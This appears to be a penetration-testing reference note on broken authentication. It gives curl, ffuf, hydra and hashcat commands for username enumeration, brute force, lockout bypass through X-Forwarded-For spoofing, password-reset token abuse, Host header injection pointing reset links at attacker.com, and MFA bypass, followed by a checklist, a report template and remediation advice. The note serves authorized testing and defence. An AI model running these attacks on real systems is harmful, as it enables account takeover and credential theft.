☼
⌃
☰

Broken Authentication

Table of Contents

Flaws in login logic and credential handling that allow an attacker to authenticate as another user without knowing their password, or to guess it at scale. Distinct from Insecure Authentication Mechanism (token/mechanism bypass) and Session Management Testing (post-auth session flaws) — this note covers the login process itself: enumeration, brute force, password reset, and MFA.

Related: Insecure Authentication Mechanism Session Management Testing Hashing Multi-Factor Authentication Hydra Password Cracking Methodology PT1 Vulnerability Classification Cheat Sheet

1. Username Enumeration

If the application reveals whether a username exists — different error messages, different response times, or different status codes — an attacker can build a valid user list before attacking passwords.

Login Form

SHELL
# Compare responses for known-valid vs unknown username
curl -s -X POST http://$IP/login -d "username=admin&password=wrong" -i
curl -s -X POST http://$IP/login -d "username=nonexistentuser123&password=wrong" -i

# Look for differences in:
# — Error message text ("Invalid password" vs "User not found")
# — HTTP status code
# — Response time (valid username may trigger a hash comparison, invalid may not)
# — Response length

Registration Form

SHELL
# "Username already taken" on registration confirms existence
curl -s -X POST http://$IP/register -d "username=admin&password=Test123!&email=a@a.com"

Password Reset Form

SHELL
# "If this email exists, a reset link was sent" = safe
# "Email not found" vs "Reset link sent" = enumerable
curl -s -X POST http://$IP/forgot-password -d "email=admin@target.com"
curl -s -X POST http://$IP/forgot-password -d "email=nonexistent@target.com"

Automating Enumeration

SHELL
# ffuf — compare response size/words to flag valid usernames
ffuf -u http://$IP/login -X POST \
  -d "username=FUZZ&password=wrong" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -w usernames.txt \
  -fw 12   # filter out the common "invalid" word count

2. Brute Force / Rate Limiting

Test whether the application throttles or locks out repeated failed attempts.

SHELL
# Manual test — send 10+ rapid attempts, watch for lockout or delay
for i in {1..15}; do
  curl -s -o /dev/null -w "%{http_code}\n" -X POST http://$IP/login \
    -d "username=admin&password=wrong$i"
done

# If all return the same code with no increasing delay or CAPTCHA,
# rate limiting is absent

# Hydra — actual credential attack once enumeration confirms username
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
  $IP http-post-form "/login:username=^USER^&password=^PASS^:Invalid credentials" -f

See Hydra for full syntax reference.

Lockout Bypass

If lockout exists, test whether it can be circumvented:

SHELL
# IP rotation via X-Forwarded-For header — some apps key lockout by header, not real IP
curl -X POST http://$IP/login \
  -H "X-Forwarded-For: 1.2.3.$RANDOM" \
  -d "username=admin&password=wrong"

# Case variation — some lockout logic is case-sensitive on username
curl -X POST http://$IP/login -d "username=Admin&password=wrong"
curl -X POST http://$IP/login -d "username=ADMIN&password=wrong"

3. Password Reset Flaws

Predictable Reset Token

SHELL
# Request multiple resets, compare tokens for patterns
curl -X POST http://$IP/forgot-password -d "email=test1@test.com"
curl -X POST http://$IP/forgot-password -d "email=test2@test.com"
# If tokens are sequential, timestamp-based, or short — guessable

Token Not Invalidated After Use

SHELL
# Use a reset token once successfully
curl -X POST http://$IP/reset-password \
  -d "token=abc123&new_password=NewPass123!"

# Reuse the same token — should fail if properly invalidated
curl -X POST http://$IP/reset-password \
  -d "token=abc123&new_password=AnotherPass123!"

Host Header Injection in Reset Link

SHELL
# If the reset email link is built from the Host header,
# an attacker can poison it to point to their own domain
curl -X POST http://$IP/forgot-password \
  -H "Host: attacker.com" \
  -d "email=victim@target.com"

# Victim receives email with reset link pointing to attacker.com
# — attacker captures the token when victim clicks it

IDOR on Password Change (Authenticated)

SHELL
# Check if password change endpoint validates the CURRENT password
# or trusts a user ID parameter without ownership verification
curl -X POST http://$IP/account/change-password \
  -H "Authorization: Bearer $LOW_PRIV_TOKEN" \
  -d "user_id=1&new_password=Pwned123!"   # user_id=1 may be another user

4. MFA Weaknesses

SHELL
# MFA bypass via direct endpoint access — skip the OTP step entirely
curl http://$IP/dashboard -H "Authorization: Bearer $PARTIAL_AUTH_TOKEN"

# OTP brute force — check for rate limiting on the code itself
for i in {000000..000010}; do
  curl -s -X POST http://$IP/verify-otp -d "code=$i" -o /dev/null -w "%{http_code}\n"
done

# Response manipulation — intercept the MFA check response in Burp
# and change false to true / 0 to 1 if validation happens client-side

# Backup code reuse — test if a used backup code can be reused

See Multi-Factor Authentication for conceptual background.

5. Weak Credential Storage

Not directly testable via the application itself but relevant if you obtain the database (via SQLi, backup file exposure, etc.):

SHELL
# Identify hash type
hashid '$1$xyz$abc...'

# Crack with appropriate mode
hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt     # MD5
hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt  # bcrypt
hashcat -m 1400 hashes.txt /usr/share/wordlists/rockyou.txt  # SHA256

See Hashing and Password Cracking Methodology.

6. Testing Checklist

  • [ ] Compare login error messages for username enumeration
  • [ ] Test registration form for username disclosure
  • [ ] Test password reset form for email enumeration
  • [ ] Send 15+ rapid login attempts — check for lockout/rate limiting
  • [ ] If lockout present, test X-Forwarded-For and case bypass
  • [ ] Request multiple password resets — check token predictability
  • [ ] Reuse a password reset token after successful use
  • [ ] Test Host header injection on password reset
  • [ ] If MFA present, test direct endpoint access without completing it
  • [ ] If MFA present, test OTP brute force / rate limiting

7. Reporting Template

Classification: Broken Authentication

Severity: High (account takeover via reset flaw or no lockout) / Medium (enumeration only)

Description: The application's login process at [endpoint] [does not enforce rate limiting on failed login attempts / discloses valid usernames via differing error messages / fails to invalidate password reset tokens after use]. This allows an attacker to [enumerate valid accounts / brute force credentials at scale / reuse a captured reset token to take over an account].

Evidence:

POST /login HTTP/1.1
username=admin&password=wrong1

HTTP/1.1 200 OK
{"error":"Invalid password"}
---
POST /login HTTP/1.1
username=nonexistent&password=wrong1

HTTP/1.1 200 OK
{"error":"User not found"}

Remediation:

  • Return identical error messages regardless of whether the username exists
  • Implement account lockout or exponential backoff after repeated failures, keyed by username not just source IP
  • Invalidate password reset tokens immediately after first use
  • Build reset links from a fixed trusted domain, not the Host header

Tips

  • Differing error messages are the most commonly overlooked enumeration vector — always diff the response text byte for byte
  • Response timing differences can leak enumeration even when error text is identical — time several requests if text matches
  • Host header injection on password reset is high impact and easy to miss — always test it explicitly
  • Lockout bypass via X-Forwarded-For works more often than expected on applications behind a reverse proxy that trusts it for IP identification
  • This note covers login-logic flaws; for token/cookie issues see Session Management Testing, and for SPA auth bypass see Insecure Authentication Mechanism